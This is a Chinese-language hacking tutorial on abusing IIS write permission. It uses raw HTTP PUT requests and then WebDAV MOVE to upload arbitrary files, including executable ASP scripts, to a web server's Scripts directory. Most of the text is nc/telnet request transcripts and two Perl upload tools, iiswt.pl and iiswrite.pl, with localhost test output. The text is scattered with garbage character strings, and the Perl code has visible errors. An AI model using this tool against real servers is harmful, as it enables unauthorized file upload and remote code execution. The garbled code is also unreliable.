对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

+ G2 n0 C$ X1 A: c2 ]4 y- x/ ?6 @

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

. I, d% m+ `( J8 a5 `- N4 _

4 M! J7 L2 [$ n& f6 LPUT /dir/my_file.txt HTTP/1.1 Host: iis-server 1 E4 | W* h! Y# Z8 G0 ^Content-Length: 10

0 \( w: I4 T- R7 d+ ]$ N9 p

　　这时服务器会返回一个100( 继续)的信息：

3 T' A3 Q$ J/ F; |" ^' ~3 G

) \( q8 b' S8 L8 U* L- P5 D& D7 i* YHTTP/1.1 100 Continue * b' M" S1 m; A( YServer: Microsoft-IIS/5.0 # R4 |% P" M' _, t& [1 YDate: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

0 O- j F6 ^# p2 f1 ~* P

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

* I" X3 X/ }1 ^8 z; [8 ~

& M1 R0 O8 I, G4 b a$ FHTTP/1.1 201 Created Server: Microsoft-IIS/5.0 * c m' W: I( e+ R6 N. j: u* ~, WDate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt & A# p" p5 ]+ pContent-Length: 0 7 R# S1 C5 `1 ^Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 0 O* q' u. M( ?( C3 O0 @% g8 XPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

+ Q# i8 {6 [- Y' i1 PPUT /dir/my_file.txt HTTP/1.1 ) q Q8 u0 t4 V; N7 g; CHost: iis-server Content-Length: 10

' ]& w( p1 X/ ]1 G

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 / b |: Y( c. @0 Y- N: ]9 w　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

0 O, L" v$ U. e% [0 s

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

" @' _9 [2 f# C# M; c

9 y5 n- f1 l2 {5 Y4 Q7 S8 S; I $ q( i9 F% I. N1 [

#!/usr/bin/perl ; O2 s" a, [3 K: Fuse I:Socket; $ARGC = @ARGV;

) G$ `+ B& c6 _2 ]2 E8 W

if ($ARGC != 4) + v# K: A( R8 N3 G) P{ 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 　　exit; } & X2 ^5 z2 \2 S' P% d1 U- q. t$host = @ARGV[0]; $port = @ARGV[1]; $file = @ARGV[2]; / Q' P3 j5 B# @! S8 c$path = @ARGV[3];

@s=stat("$file"); $size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

7 C9 F& t4 T8 u4 @+ r% G, j" O

my $sock = I:Socket::INET->new(Proto =>"tcp", 3 n, j. D0 e2 D. A$ e" ]$ O* q* HPeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; 6 t2 x- a' t1 ~( J6 U% \4 Cprint $sock "Host: $host\n"; & ^0 G+ D! N. J5 C7 Lprint $sock "Content-Length: $size\n\n"; #sock连接

; a) V) m& ?% ] \% k! w* i7 }. V

open(FILE,"$file"); & \0 N/ V M: o9 Z" fbinmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 ) L% D! K7 d& K0 `* K" v　　print $sock "$char"; ! r0 W. t: ~/ W$ }7 S( u: \} - e% o! K! F; a7 h v& z9 pprint $sock "\n\n"; , N0 k8 L% \7 v4 s2 l% J@req = <$sock>; 7 Z- k6 J1 F. @! @" y! T; Zprint "please wait...\n"; o/ I0 f6 M" S2 y* E8 Wsleep(2); 9 b- [' ?# u: F, z% {5 S+ eif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 3 R5 ?8 C3 S& X* `} , n* }" `7 D& Y0 Belse{ - H. [& n j/ y+ {) K　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 } + [. R* i" }0 R2 l2 vclose $sock; / t3 j" W, p: |# v, tclose FILE;

　　下面我们测试下：

1 Y. |) l, k: P, c( h- J# r* a* L

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt 4 P' ~" C: D- C% B, j+ p: E2 Hkaka.txt size is 14 bytes & w# o: K% T& @- J/ Mplease wait... upfile Succeed!!!

: z- D% p3 r, _6 ^" S8 x s

C:\Inetpub\Scripts>dir kaka.txt 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt * s9 ^2 z0 h/ H/ ]( E) j2 z( D1 个文件 14 字节 6 |! o8 M+ M1 O3 R* u0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

- c/ V* a6 d1 E" R. } _# p6 \ S

8 v6 ?/ Q3 v; s7 q7 }! y6 h* A3 ^7 ] / i$ z) J" h+ n3 F* ]

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe $ H1 i; n. b0 P9 i# [" B2 T4 X8 \perl.exe size is 20535 bytes please wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 5 r( Q. t9 _" G! a+ i" s* z卷的序列号是 3CD1-479E

$ C5 E, L4 ]* t& m0 {

C:\Inetpub\Scripts 的目录

7 L3 C5 i$ K$ Z5 S0 W# e5 _3 `4 E

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 4 ~$ U' v6 J! c0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp ^8 Y$ G( a) o% m5 Ykaka.asp size is 4 bytes ) h& j# {9 `6 X5 Q% [3 i: kplease wait... , U; E1 d3 X: m, ]: supfile faile!!!

& k1 b# w" X8 j- r, J

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 ( L, r* Q5 A; F. j; F" a5 p& vDate: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden 7 ~6 L7 h6 |7 K+ v2 UServer: Microsoft-IIS/5.0 5 A! f. i( A9 b( m( sDate: Tue, 04 May 2004 16:45:51 GMT Connection: close Y6 A5 H5 b# e3 NContent-Type: text/html Content-Length: 44

3 h$ h5 G6 P& z

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

3 @7 ^1 b* i* B$ b7 c$ a

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

: I( {% T8 Z3 s+ z

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

& t. O, m6 ?/ I' i4 u7 H7 Y

　　我们还是先用nc提交测试下：

r( R; e9 u O2 |" c( N, j6 m" A

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 # n/ m @1 s+ p jDestination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created $ V; Z8 R4 x# u6 j$ T5 YServer: Microsoft-IIS/5.0 , K* C! O# q, u& D5 q$ @Date: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp % d- a5 p) ]& V$ I/ ]4 jContent-Type: text/xml 9 @, X* V2 S- a# g5 e6 N0 OContent-Length: 0

+ ^2 o- f7 c. h

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

& x. Q8 K- v8 u

- i: u: u( Q2 f

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp 7 a* c- J" r3 C8 Q************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> - J0 e6 x2 _+ R& t8 G************************************************************ kaka.asp size is 4 bytes h# D. G3 s/ E/ `# _3 I2 ~please wait... $ P, v2 V1 p5 j9 T( kupfile Succeed!!! ; v: Y! ^: s9 \% pModifyfile Succeed!!!

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

9 i9 ~' w9 s- W$ I: W/ T& Z

#!/usr/bin/perl 9 D9 B/ t! }1 S+ M; a& Y5 |- r. N#The iiswrite Script

use I:Socket; $ARGC = @ARGV; ; z- h' a5 t0 ~print "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; 3 I1 Z' [8 W" _print "*" x 60,"\n"; : n4 q2 Y' v/ d' P" Z. y( ^+ jif ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } ; d) H6 p# O. B1 Y' v. Z" u/ O+ c$host = @ARGV[0]; 3 C/ y7 I1 H0 S& V% o' p. T+ I$port = @ARGV[1]; $path = @ARGV[3]; $file = @ARGV[2];

@path=split("/",$path); $any = pop(@path); $path1=join("/",@path); 3 f! l! O: K& s4 k: i0 t@s=stat("$file"); - i4 n( S) X$ ^9 G. L$size = $s[7];

( y* W/ r8 E6 k( [& L! P0 B6 ?0 z

print "$file size is $size bytes\n"; 5 n- G, H2 y7 l/ Amy $sock = I:Socket::INET->new(Proto =>"tcp", 9 a# |! B; S2 s4 g7 X* XPeerAddr =>$host, 7 w& u# c x8 Y" L" M0 zPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; 1 S# D! h7 ]8 U4 F% Iprint $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; + }# I- c+ E# |0 w% Oopen(FILE,"$file")|| die "Can't open $file"; 9 J' M; n/ ]& Q% q. zbinmode(FILE); while (read(FILE,$char,1024)) { 3 b% b5 Z; x- d- z& n Z　　print $sock "$char"; $ _( d' n1 X% J* ?3 \0 E} . ^) w0 o. Q6 w/ I! J; _! N Cprint $sock "\n\n"; @req = <$sock>; - M( a2 @1 m0 @* \print "please wait...\n"; 9 W: T) f0 j" n3 Gsleep(2); if ($req[4]=~/200|201/){ 4 A- T, _) s4 ]2 r　　print "upfile Succeed!!!\n" ; } else{ & R! R) u% K) v+ `　　print "upfile faile!!!\n"; } 0 b5 u1 g1 C, c' Tclose $sock; 4 h) Z$ e$ A4 f( iclose FILE;

. g% a2 y# y6 l8 j# X

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; * K4 }) E+ x% _6 n0 l+ x; H- Lprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; $ H" f) ]/ s8 l# i6 Oprint $sock "Destination:http://$hostport$path\n\n\n\n"; @req = <$sock>; % f, o3 q3 Q* m# a& @/ ~if ($req[0]=~/20\d+|/){ ; R. V+ h8 l& Z2 D1 y9 k( l Z　　print "Modifyfile Succeed!!!" ; } else{ . S9 Y$ p6 P7 _" M　　print "upfile faile!!!"; } close $sock